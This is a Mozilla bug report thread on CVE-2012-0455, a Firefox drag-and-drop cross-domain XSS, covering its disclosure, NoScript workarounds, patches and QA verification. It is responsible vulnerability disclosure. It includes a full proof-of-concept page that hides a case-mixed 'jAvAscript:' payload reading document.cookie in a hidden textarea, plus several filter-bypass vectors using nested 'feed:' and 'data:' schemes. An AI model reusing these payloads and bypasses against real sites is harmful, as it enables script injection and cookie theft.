704354 - (CVE-2012-0455) "DragAndDropJacking" (?) + javAscript: URL = XSS

Soroush Dalili

Reporter

Description

•

13 years ago

Attached file A sample HTML page to exploit the vulnerability. It can go to an Iframe. (obsolete) — Details

User Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0
Build ID: 20111104165243

Steps to reproduce:

It is possible to do Cross Domain Self XSS by using the:
1- HTML5 Drag and Drop feature that can lead to bypassing the cross domain policy.
2- Bypassing "javascript:" protocol protection by changing the characters' cases.
i.e. dragging and dropping "javascript:alert(1)" to a new tab does not work. However, dragging and dropping "jAvAscript:alert(1)" works successfully.

Now, if you can embed your malicious IFrame in another website such as Facebook, you can conduct a Cross Site Scripting against that website.

I have created a test case for you that the victim "soroush.secproject.com" can be exploited by "www.0me.me":
http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html

I will attach both of "FF8.0.SelfXSSHost.html" and "FF8.0.SelfXSSTarget.html" to this issue as well.

I tried to create a real example to show how dangerous it can be. All the Javascripts are harmless and will only show you document.location+document.cookie.

Actual results:

It is possible to drag and drop a javascript (for example "JaVaScripT:alert(1)") to a HTML page that use HTML5 drag and drop feature to conduct XSS attack.
Now, if you put this HTML5 page in an Iframe, the malicious script can be run on the domain that include the Iframe.

Expected results:

First of all, "javascript:" protocol should be validated properly to not be run by upper-casing the characters as an example.

The script that is being dragged and dropped, should be run under the same domain (not any other domain).

Soroush Dalili

Reporter

Comment 1

•

13 years ago

Attached file A page with an Iframe to include the Target page. (obsolete) — Details

Soroush Dalili

Reporter

Updated

•

13 years ago

Severity: normal → major

Soroush Dalili

Reporter

Comment 2

•

13 years ago

Please also let me know if it can be eligible for the bug bounty program.

Soroush Dalili

Reporter

Comment 3

•

13 years ago

Comment on attachment 576026 [details]
A sample HTML page to exploit the vulnerability. It can go to an Iframe.

<html>
<head>
	<style>
		.magicselected{
		  text-decoration: none;
		  text-align: center;
		  color: red;
		  margin: 10px;
		  width: 500px;
		  border: 3px dashed #999;
		  background: #ffeedd;
		  padding: 10px;
		  display: block;
		}
		.informational {
		  text-decoration: none;
		  color: #000;
		  margin: 10px;
		  width: 500px;
		  border: 3px #999;
		  background: #eee;
		  padding: 10px;
		  display: block;
		}

		*[draggable=true] {
		  -moz-user-select:none;
		  -khtml-user-drag: element;
		  cursor: move;
		}

		*:-khtml-drag {
		  background-color: rgba(238,238,238, 0.5);
		}

		#bin {
		  background: url(http://mozcom-cdn.mozilla.net/img/covehead/firefox/main-feature-facebook.png) top right no-repeat;
		  height: 360px;
		  width: 500px;
		  float: left;
		  border: 5px dashed #000;
		  position: relative;
		  margin-top: 0;
		}

		#bin.over {
		  background: url(images/bin.jpg) top left no-repeat;
		}

		#bin p {
		  font-weight: bold;
		  text-align: center;
		  position: absolute;
		  bottom: 20px;
		  width: 166px;
		  font-size: 32px;
		  color: #fff;
		  text-shadow: #000 2px 2px 2px;
		}

	</style>
	<script>
		function disableSelection(element){
			target = document.getElementById(element);
			if (typeof target.onselectstart!="undefined") //IE route
				target.onselectstart=function(){return false}
			else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
				target.style.MozUserSelect="none"
			else //All other route (ie: Opera)
				target.onmousedown=function(){return false}
			//target.style.cursor = "default"
		}

		function enableSelection(element){
			target = document.getElementById(element);
			if (typeof target.onselectstart!="undefined") //IE route
				target.onselectstart=function(){return true}
			else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
				target.style.MozUserSelect=""
			else //All other route (ie: Opera)
				target.onmousedown=function(){return true}
			//target.style.cursor = "default"
		}
		function selectText(element) {
		var doc = document;
		var text = doc.getElementById(element);    
		if (doc.body.createTextRange) { // ms
			var range = doc.body.createTextRange();
			range.moveToElementText(text);
			range.select();
		} else if (window.getSelection) {
			var selection = window.getSelection();
			if (selection.setBaseAndExtent) { // webkit
				selection.setBaseAndExtent(text, 0, text, 1);
			} else { // moz, opera
				var range = doc.createRange();
				range.selectNodeContents(text);
				selection.removeAllRanges();
				selection.addRange(range);
				}
			}
		}
		
		LoadPage = function(){
			disableSelection('selectableDiv');
			disableSelection('informationalSpan');
			document.getElementById('currentURL').innerHTML = document.location;
		}
	</script>
</head>
<body onload="LoadPage()">
<pre>
Self XSS PoC on Mozilla Firefox 8.0
Author: By Soroush Dalili - SecProject.com - <a href="http://twitter.com/IRSDL">IRSDL in twitter</a> 
Details:
	1- Based on HTML5 Drag and Drop
	2- Using "jAvAscript:" instead of "javascript:" to bypass the protection
	3- Using hidden "textarea" technique to hide the malicious script during the selection
	4- Using some scripts to make it more feasible!
</pre>
This Page URL: <span id="currentURL"></span>
<hr/>
<span id="informationalSpan" class="informational" onclick="enableSelection('selectableDiv');selectText('selectableDiv');">
Select the following text and drag it to the magic box: </span>
<span class="magicselected" id="selectableDiv" onmousedown="selectText('selectableDiv');return true;" onclick="enableSelection('selectableDiv');selectText('selectableDiv');return false;disableSelection('selectableDiv');">
	<textarea style="visibility:hidden;width:1px;height:1px;" id="myinput" ondblclick="selectText('selectableDiv');return false;" onclick="selectText('selectableDiv');return false;" onmousedown="selectText('selectableDiv');return true;">jAvAscript:alert('Self XSS By Soroush Dalili - twitter.com\\IRSDL\nTop Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	</textarea><b>>>>DRAG and DROP me to the blow box to see the magic!<<<</b>
</span>
<div id="bin">Magic Box</div>
 <script>
var addEvent = (function () {
  if (document.addEventListener) {
    return function (el, type, fn) {
      if (el && el.nodeName || el === window) {
        el.addEventListener(type, fn, false);
      } else if (el && el.length) {
        for (var i = 0; i < el.length; i++) {
          addEvent(el[i], type, fn);
        }
      }
    };
  } else {
    return function (el, type, fn) {
      if (el && el.nodeName || el === window) {
        el.attachEvent('on' + type, function () { return fn.call(el, window.event); });
      } else if (el && el.length) {
        for (var i = 0; i < el.length; i++) {
          addEvent(el[i], type, fn);
        }
      }
    };
  }
})();

  var mydivObj = document.createElement('mydiv');
  var msie = /*@cc_on!@*/0;
  mydivObj.style.opacity = 1;

  //var links = document.querySelectorAll('li > a'), el = null;
  //for (var i = 0; i < links.length; i++) {
    //el = links[i];
	el=document.getElementById('myinput');
    el.setAttribute('draggable', 'true');
  
    addEvent(el, 'dragstart', function (e) {
      e.dataTransfer.effectAllowed = 'copy'; // only dropEffect='copy' will be dropable
      e.dataTransfer.setData('Text', this.id); // required otherwise doesn't work
    });
  //}

 var bin = document.querySelector('#bin');

  addEvent(bin, 'dragover', function (e) {
    if (e.preventDefault) e.preventDefault(); // allows us to drop
    this.className = 'over';
    e.dataTransfer.dropEffect = 'copy';
    return false;
  });

  // to get IE to work
  addEvent(bin, 'dragenter', function (e) {
    this.className = 'over';
    return false;
  });

  addEvent(bin, 'dragleave', function () {
    this.className = '';
  });

  addEvent(bin, 'drop', function (e) {
    if (e.stopPropagation) e.stopPropagation(); // stops the browser from redirecting...why???
	document.getElementById('bin').innerHTML = 'Great! You have done that! Now please wait...'
    return false;
  });

 </script>
 
 </body>
 </html>

Soroush Dalili

Reporter

Comment 4

•

13 years ago

Last comment was by mistake, I wanted to update the attachment. Please hide/remove it if it's possible.

Brandon Sterne (:bsterne)

Comment 5

•

13 years ago

I'm pretty sure this is a dupe of bug 605991.

Soroush Dalili

Reporter

Comment 6

•

13 years ago

(In reply to Brandon Sterne (:bsterne) from comment #5)
> I'm pretty sure this is a dupe of bug 605991.
Their title are similar but their details are different:
1- there is no frame here
2- "javascript:" has been blocked by default which has been bypassed
3- I'm using one of the HTML5 examples and it wont work on the older browsers

The other bug is publicly available. if you still think they are the same, you can make this publicly available ;)

Soroush Dalili

Reporter

Comment 7

•

13 years ago

I may publish this if I do not get a proper response till tomorrow night.

Soroush Dalili

Reporter

Comment 8

•

13 years ago

I CCed Giorgio to see if NoScript can protect users from this attack.

Giorgio Maone [:ma1]

Comment 9

•

13 years ago

Confirmed, made the summary slightly more descriptive, invited bzbarsky to the party.

@Soroush: could your POC be simplified in any way to be minimal (e.g. is @contenteditable=true on the frame really required)? Thanks.

Status: UNCONFIRMED → NEW

Ever confirmed: true

Summary: Cross Domain Self XSS Vulnerability → "DragAndDropJacking" (?) + javAscript: URL = XSS

Soroush Dalili

Reporter

Comment 10

•

13 years ago

@Giorgio: your are right. It is not necessary; I c/p that Iframe from one of my other test cases to not rewrite it! we only need a Simple Iframe outside.

"Summary: Cross Domain Self XSS Vulnerability → "DragAndDropJacking" (?) + javAscript: URL = XSS"
I said it is cross domain, because the JavaScript will be executed on the top page on another domain (not the one which includes the JavaScript and you drag the text over it). However, it really depends how you will look at the issue.  

Moreover, I could hide the text that will be selected in a hidden textarea. It should not be selected but it will. Even if you copy/paste it, you can see it. I guess it is a minor issue, but it still helps a real attack.

I will attach a simplified version soon.

Soroush Dalili

Reporter

Comment 11

•

13 years ago

Attached file Simplified Version of target page — Details

Attachment #576026 - Attachment is obsolete: true

Soroush Dalili

Reporter

Comment 12

•

13 years ago

Attached file Simplified Version of host page — Details

Attachment #576027 - Attachment is obsolete: true

Soroush Dalili

Reporter

Updated

•

13 years ago

Attachment #577023 - Attachment description: Simplified Version → Simplified Version of target page

Giorgio Maone [:ma1]

Comment 13

•

13 years ago

Experimental protection in NoScript 2.2.2rc4 from http://noscript.net/getit#devel

Please notice it's a beta. 
As I told you, stable/automatic update has to wait 1 week or more for AMO approval stamp, so please keep this embargoed until then, thanks.

Soroush Dalili

Reporter

Comment 14

•

13 years ago

(In reply to Giorgio Maone from comment #13)
> Experimental protection in NoScript 2.2.2rc4 from
> http://noscript.net/getit#devel
> 
> Please notice it's a beta. 
> As I told you, stable/automatic update has to wait 1 week or more for AMO
> approval stamp, so please keep this embargoed until then, thanks.

It is still possible to bypass NoScript by selecting free spaces before the "jAvAScript:".
For example in HTML we can have:
&nbsp;jAvAscript:alert(1);
Or <br/><br/>jAvAscript:alert(1);

Giorgio Maone [:ma1]

Comment 15

•

13 years ago

(In reply to Soroush Dalili from comment #14)

> It is still possible to bypass NoScript by selecting free spaces before the
> "jAvAScript:".
> For example in HTML we can have:
> &nbsp;jAvAscript:alert(1);
> Or <br/><br/>jAvAscript:alert(1);

Please check 2.2.2rc5 from http://noscript.net/getit#devel

BTW, did you check if your trick works with dataTransfer types other than "Text"?

Soroush Dalili

Reporter

Comment 16

•

13 years ago

(In reply to Giorgio Maone from comment #15)
> Please check 2.2.2rc5 from http://noscript.net/getit#devel
> 
I still can bypass it by using the following vector: 

feed:jAvAscript:alert(1)

Actually "javascript:" protection of NoScript can be bypassed by using this vector generally via copy/paste as well.

> BTW, did you check if your trick works with dataTransfer types other than
> "Text"?

I am not sure about this. Could you please explain what do you mean? I think my PoC is based on a text.

Soroush Dalili

Reporter

Comment 17

•

13 years ago

more vector(s):
"feed:feed:feed:javAscript:alert(1)"
"feed:javAscript:javAscript:feed:alert(1)"
"feed:feed:javAscript:javAscript:feed:alert(1)"
"   feed:feed:feed:javAscript:alert(1)"
"
    	
feed:feed:feed:javAscript:alert(1)"

Giorgio Maone [:ma1]

Comment 18

•

13 years ago

(In reply to Soroush Dalili from comment #16)

Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty trivial, but I wonder how many traps like that lie around.

> Actually "javascript:" protection of NoScript can be bypassed by using this
> vector generally via copy/paste as well.

could you elaborate w/ more details? I'm not sure about what kind of protection NoScript is supposed to provide against "javascript:" copy & paste.
 
> > BTW, did you check if your trick works with dataTransfer types other than
> > "Text"?
> 
> I am not sure about this. Could you please explain what do you mean? I think
> my PoC is based on a text.

I mean, does it work for instance with type="text/html"?

Giorgio Maone [:ma1]

Comment 19

•

13 years ago

Please check NoScript 2.2.3rc3 from http://noscript.net/getit#devel

Soroush Dalili

Reporter

Comment 20

•

13 years ago

(In reply to Giorgio Maone from comment #18)

> Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty
> trivial, but I wonder how many traps like that lie around.

I searched a little but at the end I think it is up to Mozilla to tell us about all the protocols that they use. I could not find anything interesting.

> could you elaborate w/ more details? I'm not sure about what kind of
> protection NoScript is supposed to provide against "javascript:" copy &
> paste.

I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit enter, NoScript does not block it similar to "javascript:". It is also true for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well.

> I mean, does it work for instance with type="text/html"?
I do not think it is going to work if I do not use "data" protocol. How can I try it without "data" protocol? I know there is a type attribute for "dataTransfer" but I am not sure how to try it for this purpose.

----
I am still wondering why there is not any official response from Mozilla that they have accepted the issue. As a result, I have to publish all of these as soon as NoScript can provide enough security.

Giorgio Maone [:ma1]

Comment 21

•

13 years ago

(In reply to Soroush Dalili from comment #20)

> I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit
> enter, NoScript does not block it similar to "javascript:". It is also true
> for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well.

While the data: URI works (albeit tied to an unique origin, hence practically innocuous), I did not manage to make feed:javascript: execute, at least on Fx 8.
 
> > I mean, does it work for instance with type="text/html"?
> I do not think it is going to work if I do not use "data" protocol. How can
> I try it without "data" protocol?

It's not important anymore, as the latest version of my work-around is triggered by the attempted load, rather than by the drop event, hence it always see pre-processed URIs independently from the transfer details.


> I am still wondering why there is not any official response from Mozilla

CCing dveditz who may give you an answer.

> As a result, I have to publish all of
> these as soon as NoScript can provide enough security.

Do you think NoScript 2.2.3rc4 is good enough? 
If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track approval.

Soroush Dalili

Reporter

Comment 22

•

13 years ago

(In reply to Giorgio Maone from comment #21)
Awesome. Good job Giorgio.

> Do you think NoScript 2.2.3rc4 is good enough? 
> If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> approval.
I am still not able to bypass it with my current testcases. I will ask Mario and Gareth to have a quick think about it.

Shlomi Narkolayev

Comment 23

•

13 years ago

Seems like this attack will work only on website that allows posting Iframes in it (e.g. Facebook).

Soroush Dalili

Reporter

Comment 24

•

13 years ago

(In reply to Shlomi Narkolayev from comment #23)
> Seems like this attack will work only on website that allows posting Iframes
> in it (e.g. Facebook).

You are right about the PoC and what I can currently do with it. However, it contains several issues which can lead to other exploits. (For instance, if you manage to drag/drop a Javascript into Chrome:// protocol, you can execute commands on the system)

Shlomi Narkolayev

Comment 25

•

13 years ago

Sounds interesting.
Who will be the "host" in this case? Can you write a PoC?

Soroush Dalili

Reporter

Comment 26

•

13 years ago

(In reply to Giorgio Maone from comment #21)
> Do you think NoScript 2.2.3rc4 is good enough? 
> If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> approval.

I asked Mario and Gareth and they said it seems fine. Gareth was worry about the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null obviously".; I could not bypass the protection by using this however. 
I think we can go for the stable version then.
Thanks again for providing security to Firefox. I'll publish it after you release the stable version.

Giorgio Maone [:ma1]

Comment 27

•

13 years ago

(In reply to Soroush Dalili from comment #26)
> (In reply to Giorgio Maone from comment #21)
> > Do you think NoScript 2.2.3rc4 is good enough? 
> > If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> > approval.
> 
> I asked Mario and Gareth and they said it seems fine.

Great, the update is out. Just please wait a couple of days, because AMO is suffering network outages which are slowing down the automatic deployment process. 

> Gareth was worry about
> the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null
> obviously".;

As I said this fix operates on preprocessed URLs, hence it's not affected by HTML-level obfuscation.

The only component (unrelated to this bug) which might be affected is the XSS filter, but as far as I can tell that's covered by using Gecko's own parser to decode entities. Gareth, can you confirm that?

Daniel Veditz [:dveditz]

Comment 28

•

13 years ago

A fix isn't going to make Firefox 9 (already at final preview builds on the Beta channel), try for Fx10.

status-firefox10: --- → affected

status-firefox11: --- → affected

status-firefox8: --- → wontfix

status-firefox9: --- → wontfix

tracking-firefox10: --- → +

tracking-firefox11: --- → +

Component: General → Drag and Drop

Product: Firefox → Core

QA Contact: general → drag-drop

Whiteboard: [sg:moderate]

Gareth Heyes

Comment 29

•

13 years ago

> The only component (unrelated to this bug) which might be affected is the
> XSS filter, but as far as I can tell that's covered by using Gecko's own
> parser to decode entities. Gareth, can you confirm that?

The filter seems good although I've not done extensive testing. I think you probably fixed this with mario's entity vectors.

Giorgio Maone [:ma1]

Comment 30

•

13 years ago

(In reply to Gareth Heyes from comment #29)
> > The only component (unrelated to this bug) which might be affected is the
> > XSS filter, but as far as I can tell that's covered by using Gecko's own
> > parser to decode entities. Gareth, can you confirm that?
> 
> The filter seems good although I've not done extensive testing. I think you
> probably fixed this with mario's entity vectors.

.mario's fix was about recursion order in general decoding, not an entity specific one. As I said, I use Gecko's parser for that so if it's an entity for Gecko, it's an entity for NoScript as well (I didn't add any new entity decoding code).

Gareth Heyes

Comment 31

•

13 years ago

> .mario's fix was about recursion order in general decoding, not an entity
> specific one. As I said, I use Gecko's parser for that so if it's an entity
> for Gecko, it's an entity for NoScript as well (I didn't add any new entity
> decoding code).

Ah ok well it seems good anyway, probably because you are using Gecko's parser, it understands the crazy stuff. I tried stuff like %26%23106%00avascript%26%00colon;location%26%00equals;top.name but it seemed good.

Soroush Dalili

Reporter

Comment 32

•

13 years ago

Thanks guys, I have published the details:
http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html

I am not sure if Mozilla wants to fix or not.

Soroush Dalili

Reporter

Updated

•

13 years ago

Severity: major → normal

Soroush Dalili

Reporter

Comment 33

•

13 years ago

Another clarification:

Description:
 It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and run that JavaScript on the top page if you can include that malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious iframe should deceive the user to drag and drop a JS to the drop box which can be stealth in a hidden textarea.It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and to run that JavaScript on the top page if you can include the malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious IFrame should deceive the user to drag and drop a JS to the drop box which can be concealed in a hidden "Textarea" element.
 
 IFrame Code:

	<b>drag and drop one of the following strings to the drop box:</b>
	<br/><hr/>
	jAvascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	feed:javascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>
	<br/><hr/>
	feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>

Alex Keybl [:akeybl]

Comment 34

•

13 years ago

Sending over to Dan to evaluate if this is still something we should try to get for Firefox 10. If so, I'd ask roc to find somebody to take a look (he's now CC'd).

Assignee: nobody → dveditz

Jesse Ruderman

Comment 35

•

12 years ago

Should this bug report be public, given that (some?) details are public?

http://soroush.secproject.com/blog/2011/12/drag-and-drop-xss-in-firefox-by-html5-cross-domain-in-frames/

https://secunia.com/advisories/47400/

Daniel Veditz [:dveditz]

Updated

•

12 years ago

URL: http://soroush.secproject.com/downloa...

Daniel Veditz [:dveditz]

Comment 36

•

12 years ago

The blog is probably a better URL

URL: http://soroush.secproject.com/downloa... → http://soroush.secproject.com/blog/20...

Daniel Veditz [:dveditz]

Comment 37

•

12 years ago

Is this the likely source of the problem?

http://hg.mozilla.org/mozilla-central/annotate/8a59519e137e/toolkit/content/widgets/browser.xml#l1307

Daniel Veditz [:dveditz]

Comment 38

•

12 years ago

Same problem at
http://hg.mozilla.org/mozilla-central/annotate/8a59519e137e/browser/base/content/tabbrowser.xml#l3537

Daniel Veditz [:dveditz]

Comment 39

•

12 years ago

NB: the naive fix of adding the 'i' flag thus
      /^\s*(javascript|data):/i.test(url))

is wrong, won't address the nested case (e.g. the feed:javascript examples) nor any future/add-on schemes. CheckLoadURI with the DISALLOW_INHERIT_PRINCIPAL flag is more what we want here (as used in the text.xml widget).

Daniel Veditz [:dveditz]

Comment 41

•

12 years ago

Firefox 3.6 is not affected by the PoC, but generically the protection of tabs/windows as drop targets for javascript: text links can be bypassed using the same capitalization trick.

Assignee: dveditz → nobody

blocking1.9.2: --- → ?

status1.9.2: --- → wanted

Component: Drag and Drop → Tabbed Browser

Product: Core → Firefox

QA Contact: drag-drop → tabbed.browser

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Updated

•

12 years ago

Assignee: nobody → gavin.sharp

Depends on: 718203

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Updated

•

12 years ago

Depends on: 724161
No longer depends on: 718203

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 42

•

12 years ago

The patch I just attached to bug 724161 fixes this, and includes tests.

Daniel Veditz [:dveditz]

Updated

•

12 years ago

blocking1.9.2: ? → needed

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 43

•

12 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/50aae34555bb

OS: Windows 7 → All

Hardware: x86 → All

Target Milestone: --- → Firefox 13

Daniel Veditz [:dveditz]

Updated

•

12 years ago

status-firefox-esr10: --- → affected

status-firefox10: affected → wontfix

status-firefox12: --- → affected

status-firefox13: --- → affected

tracking-firefox-esr10: --- → ?

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 44

•

12 years ago

https://hg.mozilla.org/releases/mozilla-beta/rev/dbbd683b1c87
https://hg.mozilla.org/releases/mozilla-aurora/rev/b740b9528028

status-firefox11: affected → fixed

status-firefox12: affected → fixed

status-firefox13: affected → ---

status-firefox8: wontfix → ---

status-firefox9: wontfix → ---

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 45

•

12 years ago

https://hg.mozilla.org/mozilla-central/rev/50aae34555bb

Status: NEW → RESOLVED

Closed: 12 years ago

Resolution: --- → FIXED

u279076

Updated

•

12 years ago

Whiteboard: [sg:moderate] → [sg:moderate][qa+]

Alex Keybl [:akeybl]

Comment 46

•

12 years ago

Tracking here for the ESR - we'll want to land the patches in bug 718203 and bug 724161 on mozilla-esr10.

Lukas Blakk [:lsblakk] use ?needinfo

Updated

•

12 years ago

tracking-firefox-esr10: ? → 11+

Lukas Blakk [:lsblakk] use ?needinfo

Comment 47

•

12 years ago

[Triage comment]

This bug is being tracked for landing on ESR branch.  Please land patches on http://hg.mozilla.org/releases/mozilla-esr10/by Thursday March 1, 2012 in order to be ready for go-to-build on Friday March 2, 2012.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more information.

juan becerra [:juanb]

Comment 48

•

12 years ago

Verified on XP using latest Fx11b4(beta), Fx12(aurora), Fx13(nightly) using steps in comment #0. Prior to the fix you can see a dialog come up, as explained in comment #0. In fixed builds nothing happens.

status-firefox11: fixed → verified

status-firefox12: fixed → verified

Whiteboard: [sg:moderate][qa+] → [sg:moderate][qa+][qa!:11][qa!:12]

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 49

•

12 years ago

https://hg.mozilla.org/releases/mozilla-esr10/rev/566be745f397

status-firefox-esr10: affected → fixed

Daniel Veditz [:dveditz]

Comment 50

•

12 years ago

Since this landed in Fx11 we should also land a fix in 3.6.28

What's the likelihood of the patch in comment 49 applying?

blocking1.9.2: needed → .28+

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 51

•

12 years ago

It really doesn't (depends on bug 545714, which landed post-1.9.2).

I can work on an alternate fix, I guess... :(

Al Billings [:abillings - ex-MoCo]

Comment 52

•

12 years ago

Does this actually affect 1.9.2? The simplified testcase (the two files) doesn't seem to work on XP SP3 with 1.9.2.27.

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 53

•

12 years ago

Attached patch 1.9.2 patch for this bug only (obsolete) — Details — Splinter Review

We can't re-use the fix from bug 724161/bug 718203 on 1.9.2 because the code is quite different. The code still looks vulnerable, though.

Here's an alternate fix that's a little bit more isolated. nsContentAreaDragDrop is used for <browser> drops on 1.9.2, and it seems to be the only relevant use (aside from a caller in nsDocShellTreeOwner that relies on having an nsWebBrowser, which I think never happens in Firefox), so the behavior change of disallow javascript:/data: drops should be fine. For <tabbrowser>, I just fixed the regex check, because introducing a more robust nsIURI check doesn't seem worth it.

I could not get the tests to work on 1.9.2. The browser_tabDrop test fails because the drag-synthesize code on 1.9.2 doesn't properly create a drag session. The browser_browserDrop test is much more complicated to write because there is no easy droppedLinkHandler to hook into - we'd need to explicitly check page loads triggered by nsContentAreaDragDrop.

u279076

Comment 54

•

12 years ago

I get the alert dialog appearing on the latest debug build of Firefox 10 ESR (2012-03-03). Comment 49 suggests this should be fixed. 

All I'm doing is following the testcase in comment 0. Is this not fixed?

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 55

•

12 years ago

Using the Mac build from http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/ , I don't get an alert when loading http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and following the steps (drag text from the red box to the frame below). Which build are you testing exactly, on what platform?

u279076

Comment 56

•

12 years ago

(In reply to Gavin Sharp (use gavin@gavinsharp.com for email) from comment #55)
> Using the Mac build from
> http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/
> , I don't get an alert when loading
> http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and
> following the steps (drag text from the red box to the frame below). Which
> build are you testing exactly, on what platform?

I was using the debug build from:
ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2012-03-03-mozilla-esr10-debug

I confirm that using the release candidate does not display the alert. I guess I can call this verified based on that.

status-firefox-esr10: fixed → verified

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 57

•

12 years ago

Attached patch simpler 1.9.2-only patch — Details — Splinter Review

OK, this is a simpler patch that only touches the code that was original affected. Just makes the existing checks for javascript/data case-insensitive. There are a couple of followups that I'll file, but they apply to trunk equally:
- dragging from chrome text boxes isn't block, because of a checkLoadURI quirk (DISALLOW_INHERIT_PRINCIPAL doesn't kick in when the source principal is the system principal)
- the embedding code (not used in Firefox) is still vulnerable - it would be good to fix this just to be safe (I don't think anyone is using it)

Attachment #602795 - Attachment is obsolete: true

Attachment #603081 - Flags: review?(dolske)

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 58

•

12 years ago

STR that this patch fixes:
Case A:
1) Load data:text/plain,jAvAscript:alert(1)
2) Drag the text in the content area ("jAvAscript:alert(1)") to the current tab

Expected: no dialog appears
Actual: dialog appears showing "1"

Case B:
1) Enter "jAvascript:alert(1)" into the search bar
2) Drag the text from the search bar into the content area of the current tab

Expected: no dialog appears
Actual: dialog appears showing "1"

I'm not certain why the original test case doesn't work on 1.9.2.

Justin Dolske [:Dolske]

Updated

•

12 years ago

Attachment #603081 - Flags: review?(dolske) → review+

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Updated

•

12 years ago

Attachment #603081 - Flags: approval1.9.2.28?

Lukas Blakk [:lsblakk] use ?needinfo

Updated

•

12 years ago

Attachment #603081 - Flags: approval1.9.2.28? → approval1.9.2.28+

:Gavin Sharp [email: gavin@gavinsharp.com]

Assignee

Comment 59

•

12 years ago

https://hg.mozilla.org/releases/mozilla-1.9.2/rev/f66f339fd046

status1.9.2: wanted → .28-fixed

u279076

Comment 60

•

12 years ago

Verified fixed in Firefox 3.6.28build1.

Keywords: verified1.9.2

Al Billings [:abillings - ex-MoCo]

Updated

•

12 years ago

Alias: CVE-2012-0455

Al Billings [:abillings - ex-MoCo]

Comment 61

•

12 years ago

Verified that this was fixed in trunk since no one else did.

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20120402 Firefox/14.0a1

Status: RESOLVED → VERIFIED

Daniel Veditz [:dveditz]

Updated

•

12 years ago

Group: core-security

Raymond Forbes[:rforbes]

Comment 62

•

11 years ago

rforbes-bugspam-for-setting-that-bounty-flag-20130719

Flags: sec-bounty+

A sample HTML page to exploit the vulnerability. It can go to an Iframe. 13 years ago Soroush Dalili 6.21 KB, text/plain		Details
A page with an Iframe to include the Target page. 13 years ago Soroush Dalili 438 bytes, text/plain		Details
Simplified Version of target page 13 years ago Soroush Dalili 2.61 KB, text/plain		Details
Simplified Version of host page 13 years ago Soroush Dalili 371 bytes, text/plain		Details
1.9.2 patch for this bug only 12 years ago :Gavin Sharp [email: gavin@gavinsharp.com] 2.29 KB, patch		Details \| Diff \| Splinter Review
simpler 1.9.2-only patch 12 years ago :Gavin Sharp [email: gavin@gavinsharp.com] 2.21 KB, patch	Dolske : review+ lsblakk : approval1.9.2.28+	Details \| Diff \| Splinter Review